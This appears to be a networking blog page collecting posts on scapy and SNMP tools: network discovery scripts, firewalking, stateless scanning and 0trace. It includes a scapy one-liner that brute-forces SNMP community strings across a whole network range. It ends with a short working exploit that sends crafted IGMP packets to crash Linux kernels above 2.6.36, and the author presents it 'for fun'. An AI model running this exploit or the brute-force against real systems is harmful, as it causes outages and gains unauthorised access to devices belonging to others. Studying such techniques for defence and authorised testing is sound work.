Showing posts with label scapy. Show all posts
Showing posts with label scapy. Show all posts

SNMP network discovery scripts - perl, ruby and python (scapy)



Two scripts one in perl (a very old one, I'm a bit ashamed of it) one in ruby (a bit newer, logic is much better, will not hang on huge routing tables and will not kill the device with too many queries). You could be surprised how much of your network is using the default community strings.

The logic here is first to try to read some standard OIDs with a bunch of different community strings from the "seed" device. If there is a community string that works it will be moved higher in the order in which the script test them. Once the script knows the community string it will query the routing table and ARP table via SNMP to find neighbours and then repeat the whole process on them. The hosts are being distinguished by their local IP addresses, the script generates a MD5 digest from those IPs (gathered also by SNMP) to check if it is a host that was already seen.

Actually the second script was an exercise in learning/trying out ruby. It is not complete. The main function is fully implemented the missing component is a nice way of printing/storing the data.


If you would like to brute force community strings on a specific network range or a single host then I would suggest to use scapy and something like this:

>>> snmpcomm=[comm.strip() for comm in open("wordlist-common-snmp-community-strings.txt").readlines()]


>>> send(IP(dst="1.2.3.0/24")/UDP(sport=RandShort(),dport=161)/SNMP(community=snmpcomm,version=["v2c","v1","v2"],PDU=SNMPget(varbindlist=SNMPvarbind(oid="1.3.6.1.2.1.1.1.0"))))


assuming here that 1.2.3.0/24 is your target. I use send() because I just want to send the packets and I don't want to waste time on waiting for replays. In a different session on the same machine I run:
tcpdump -n udp src port 161 and net 1.2.3.0/24

and I wait for the replays. They will include the community string that triggered them.

scapy - few simple scripts/examples

Scapy allows you to manipulate packets in almost any imaginable way (and some less imaginable), the good thing is that you have to use python (easy to build, flexible) and the bad thing is that you have to use python (slow, lots of dependencies). The official documentation can be found here.

First three scripts are frameworks for network scanning. There is really no point in going into details about all the possible ways you can scan the network. There are hundreds of books on the subject (great one is "Nmap Network Scanning" by Fyodor author of nmap) and probably thousands of web pages. I just want to show some frameworks in scapy that someone may find useful.

First one is a firewalking script it assumes that you have a host on the other side of the firewall. It spoofs the source IP of all the hosts in the LAN randomly and sends packets to specific ports (also in random order) of that host outside. This assumes few things, that the firewall rules are general, that there are no special conditions for any hosts in the LAN and there is nothing unique about the single host to which we are sending packets.

Second script is also a firewalking script but it sends packets with TTL (or hop limit for IPv6) +1 of the distance to firewall, so that the next router will send us ICMP time to live exceeded. This allows to test much broader range of things. Also if there is no ARP spoofing protection, you can test the rules for any device in your network by manipulating ARP entries.

Stateless scan - not very efficient in scapy, but it works. You have two processes one that sends the packets and one that receives them, they don't communicate with each other. The sending processes doesn't keep any information about the send packets it just fires and forgets. The question is how does the receiving process know which packets are responses? The sending process manipulates the protocol information to make sure that the response will be unique in some way. In case of the TCP the best place is the sequence number because it will be send back. In this example the sequence number is based on the hash of the destination host and port plus a random salt (idea similar to syn cookies). The salt is the only thing that is known to both the sending and receiving process. One thing about this method is that because there is no state, there is no way to know if we just lost a packet somewhere midway. Original idea, as far as I can tell, came from scanrand. Similar idea (stateless) is being used in onesixtyone. In most common cases nmap is better ;)

0trace - an old idea from lcamtuf (Michal Zalewski). It is a TCP traceroute but on an established TCP connection. Basically you just match the sequence numbers and inject your packets into an already existing connection and in the same time manipulate the TTL as a normal traceroute would do. The idea is that currently there are so many state-full firewalls that normal traceroute will not be able to show you much.


All of those scripts are frameworks/examples, they are not assumed to be finished tools, but they still should work ;).

quick scapy example for Linux kernel > 2.6.36 - IGMP kernel panic

A quick post, for fun :)

in scapy put:
from struct import pack
from socket import inet_aton

target = "127.0.0.1" # host target IP, change this !!!
a=pack("!BBH",0x11,0xff,0)+inet_aton("224.0.0.1")
b=pack("!BBH",0x11,0x0,0)+inet_aton("0.0.0.0")+pack("!BBBB",0,0,0,0)
a1=a[:2]+pack("!H",checksum(a))+a[4:]
b1=b[:2]+pack("!H",checksum(b))+b[4:]
send(IP(dst=target,proto=2)/a1)
send(IP(dst=target,proto=2)/b1)

and enjoy kernel panic on your target (if it is running linux kernel above 2.6.36, including 3.x and allows IGMP traffic).  Yes, I know that it could be more nicely written, but this works.

There exists already a IGMP and IGMPv3 implementation in scapy but it is in the contrib folder.
There was no point in using it for this small script.